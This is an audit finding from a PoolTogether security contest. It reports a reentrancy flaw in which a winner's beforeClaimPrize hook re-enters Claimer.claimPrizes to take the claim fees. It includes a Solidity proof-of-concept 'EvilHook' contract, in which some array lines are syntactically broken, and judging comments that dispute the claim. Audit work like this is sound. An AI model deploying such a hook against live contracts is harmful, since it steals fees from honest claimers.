Claimable:claimPrize beforeClaimPrize hooks can be used to steal rewards from the reward recipient

Summary

The beforeClaimPrize hook allows malicious prize winners to set up hooks that will call the claimPrize function and claim the reward fees before the original caller is able to receive it.

Vulnerability Detail

The claimPrize function at the Claimable abstract contract claims the prize for a specific winner. The first thing it does during the call is attempt to call the beforeClaimPrize hook, which is an user-customizable feature that allows people to set up contracts to do actions before claiming the prize:

function claimPrize(
        address _winner,
        uint8 _tier,
        uint32 _prizeIndex,
        uint96 _reward,
        address _rewardRecipient
    ) external onlyClaimer returns (uint256) {
        address _prizeRecipient;
        bytes memory _hookData;

        if (_hooks[_winner].useBeforeClaimPrize) {
            (_prizeRecipient, _hookData) = _hooks[_winner].implementation.beforeClaimPrize{ gas: HOOK_GAS }(
                _winner,
                _tier,
                _prizeIndex,
                _reward,
                _rewardRecipient
            );
        } ...
        }

The issue with that is both the claimPrize function and the Claimer contract's claimPrizes function, do not offer reentrancy protection:

function claimPrizes(
    IClaimable _vault,
    uint8 _tier,
    address[] calldata _winners,
    uint32[][] calldata _prizeIndices,
    address _feeRecipient,
    uint256 _minFeePerClaim
  ) external returns (uint256 totalFees) {

This allows the malicious winner to set up hook contracts that can call claimPrizes during the beforeClaimPrize execution. With the arguments provided at the beforeClaimPrize call, the hook is able to claim the claim fees before the original claimer - as neither involved functions offer reentrancy protection.

Scenario

Consider Alice has won a prize and Bob is going to claim it for her. Alice first sets up a hook contract with the following implementation:

// SPDX-License-Identifier: unlicensed
pragma solidity ^0.8.24;

interface IClaimer {
    function claimPrizes(
        IClaimable _vault,
        uint8 _tier,
        address[] calldata _winners,
        uint32[][] calldata _prizeIndices,
        address _feeRecipient,
        uint256 _minFeePerClaim
    ) external returns (uint256 totalFees);
}

interface IClaimable {
    // ...
}

contract EvilHook {
    IClaimable public _vault;

    constructor(IClaimable vault) {
        _vault = vault;
    }

    function beforeClaimPrize(
        address winner,
        uint8 tier,
        uint32 prizeIndex,
        uint96 reward,
        address rewardRecipient
    ) external returns (address prizeRecipient, bytes memory data) {
        address[] memory winners = new address;
        winners[0] = winner;
        uint32[][] memory prizeIndices = new uint32[];
        prizeIndices[0] = prizeIndex;
        return IClaimer(CLAIMER_CONTRACT_ADDRESS).claimPrizes(
            _vault,
            tier,
            winners,
            prizeIndices,
            address(this),
            reward
        );
    }
}

Bob calls claimPrize for a prize Alice has won. A contract controlled by Alice receives the claim fees, as the evil hook is called before prizePool.claimPrize is called with Bob's provided arguments.

As the Claimer.claimPrizes does vault.claimPrize calls inside try/catch blocks, Alice will receive the fees and Bob will have this claim silently fail without transaction reversion.

Impact

Malicious hooks can be used to steal claimer's fees with a simple setup.

Code Snippet

https://github.com/sherlock-audit/2024-05-pooltogether/blob/main/pt-v5-claimer/src/Claimer.sol#L162 https://github.com/sherlock-audit/2024-05-pooltogether/blob/1aa1b8c028b659585e4c7a6b9b652fb075f86db3/pt-v5-vault/src/abstract/Claimable.sol#L87

Tool used

Manual Review

Recommendation

Make sure the claimPrize function at the Claimable contract and the claimPrizes functions at the Claimer contract are not reentrant as without reentrancy protection, hooks could be used to steal claimer incentives.

Duplicate of #73

sherlock-admin3 commented 2 months ago

1 comment(s) were left on this issue during the judging contest.

infect3d commented:

PrizePool.claimPrize will revert of the prize has already been claimed

0jovi0 commented 2 months ago

1 comment(s) were left on this issue during the judging contest.

infect3d commented:

PrizePool.claimPrize will revert of the prize has already been claimed

This is a false statement. It is run inside a try/catch statement and will not revert if the call fails.

sherlock-audit / 2024-05-pooltogether-judging

jovi - Claimable:claimPrize beforeClaimPrize hooks can be used to steal rewards from the reward recipient #82